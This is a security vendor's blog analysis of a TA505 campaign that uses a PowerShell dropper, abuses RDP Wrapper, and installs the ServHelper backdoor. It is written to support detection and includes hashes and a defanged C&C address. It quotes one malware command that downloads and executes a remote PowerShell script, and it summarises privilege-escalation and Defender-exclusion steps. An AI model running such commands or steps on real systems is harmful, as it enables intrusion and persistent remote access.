In late September 2020, researchers at Avira Protection Labs identified a Powershell script originating from the TA505 APT group. This new campaign specifically targets the Americas. In this blog, Anatoly Kazantsev, a specialist threat researcher at Avira Protection Labs, takes a deep dive into the recently found TA505 APT samples and analyzes the infection cycle.
Over the last few years, TA505 has been identified as the group guilty of spreading malware by carrying out massive malicious spam campaigns. They are the threat actors behind the Dridex banking trojan and Locky, Philadelphia and GlobeImposter ransomware families.
Interestingly, TA505 continuously evolve their attacks looking to avoid detection. Slight alterations within their campaigns allows them to observe security vendors’ detection capabilities.
We start our analysis of TA505’s new campaign using a sample with the SHA256 hash: 54acc99a1c3cd07cc6ece6f86795e5a19194957c11c634a5f0ea1fc52e3d08f3
We observed that the first submission of the script dropper (5e212c0596f2713b44141fa6f3d563cecd5cfdabcdd5b64b3d573b28012b9bed) to VirusTotal was made from Canada.
In 2019, we saw a similar campaign that was covered by other security companies such as, Positive technologies, Proofpoint, Trendmicro, Blueliv. Since then, the payload versions of the APT group has changed to avoid detection. In August 2020, we observed cases submitted from Argentina.
Below are the droppers that we observed in the previous campaign:
At present, droppers are mostly submitted from the United States and Canada. A quick review of the dropper behavior:
The main difference is the Powershell script content that is split up to get-points.ps1 and eula_part.*.txt. Earlier, the Powershell script contained all the payload data (we observed “imports.ps1” previously).
start.vbs file content:
uninst.exe is renamed wscript.exe with a stripped digital signature – a standard Microsoft Windows utility to deal with Visual Basic scripts:
get-points.ps1 Powershell script
The original script is obfuscated and uses TripleDES in CBC mode to decrypt the next Powershell stage:
After deobfuscation and decrypting, we can see the most exciting part – Base64 encoded strings which contain GZipped x64-binary payloads and configuration file:
We will not dive deep into the script details in the article. Just describe the main steps that the script does:
- Drop files on a disk:
- Escalate privileges using the SilentCleanup technique
- Install, setup, and launch a new “TermService” service
- Add Network Service (S-1-5-20) account to Administrators (S-1-5-32-544) group:
- Set up RDP TCP port from standard 3398 to 7201:
- Add Windows Defender exclusions:
A quick overview of the overall process:
First, get-points.ps1 prepares the Windows registry with rpds.reg:
After that, the script sets the ServiceDLL parameter to mediasrv.png full path and launches the TermService and RDP services:
It’s a good indicator if some service in your system has a ServiceDLL path tuned to PNG-picture.
Mediasrv.png is not a picture. It’s an x64 service DLL packed with UPX.
After exploring the DLL, we realized that this is an open-source RDP Wrapper Library. Its code is available on GitHub
But there are some interesting changes at ServiceMain function – executable code which loads another DLL mediasvc.png:
Strings were obfuscated with simple XOR operation. Using the IDAPython script, we deobfuscated them and placed them as commentaries in the IDA Pro listing.
File wupsvc.jpg is just a configuration file for the RDP Wrapper Library:
Thus, using RDP Wrapper Library and TermService allows malware authors to provide persistence and additional RDP features.
rfxvmt.dll is a standard Windows “Microsoft RemoteFX VM transport” library and is needed to solve an issue with Windows 10 Home.
rdpclip.exe is also a Microsoft Windows utility (unsigned in this case), allowing users to copy/paste files and data between server and client.
Now it’s time to focus on the primary payload – a backdoor called ServHelper. Mediasvc.png is an x64 DLL written in Delphi and packed with UPX. DLL strings obfuscated using Vigenère cipher and were easily deobfuscated with IDAPython script:
The backdoor has rich functionality, most of which has been described earlier by other security companies. For example, the backdoor allows SSH tunneling using OpenSSH-Win32:
Command info gathers system information, including network connection speed. For this purpose, malware utilizes legitimate Powershell script from GitHub:
The encoded command contains:
IEX (New-Object Net.Webclient).downloadstring(“https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1”)
Now, let’s take a look at the malware network communication. The malware uses HTTPS and obfuscates data to send in a POST request:
C&C hxxps://enroter1984.cn/bif/b.php. sysid field contains obfuscated campaign date/ID, general system information, username, new RDP-user data, and random ID: sep27;Windows 10 (Version 10.0, Build 18362, 64-bit Edition);x64;ivan.ivanov;nouser;winacc:updwin;op1JUhTe;31337
In the previously publicly described campaigns, malware authors didn’t use obfuscation for these fields. Therefore, we can conclude that the threat actors regularly update their product to evade detections.
It’s worth noting an exciting part of the sysid field in campaign ID (sep27): earlier, we saw samples with aug18, aug5.
We believe that the TA505 group is experimenting with different techniques and tools in various regions of the world. They are persistent, and in the future, we expect to see new campaigns. It’s quite clear from our analysis that malware authors have started using legitimate tools in their attacks, changing them from time to time. This makes such attacks challenging to handle. Hence, having the highest quality prevention and detection tools are essential to every company involved in cyber-security.
Avira Protection Labs, actively hunt, gather threat intelligence, and monitor such new APT group campaigns to provide timely detection and protection. Integrating Avira’s anti-malware technologies and threat intelligence will help protect customers from such attacks.
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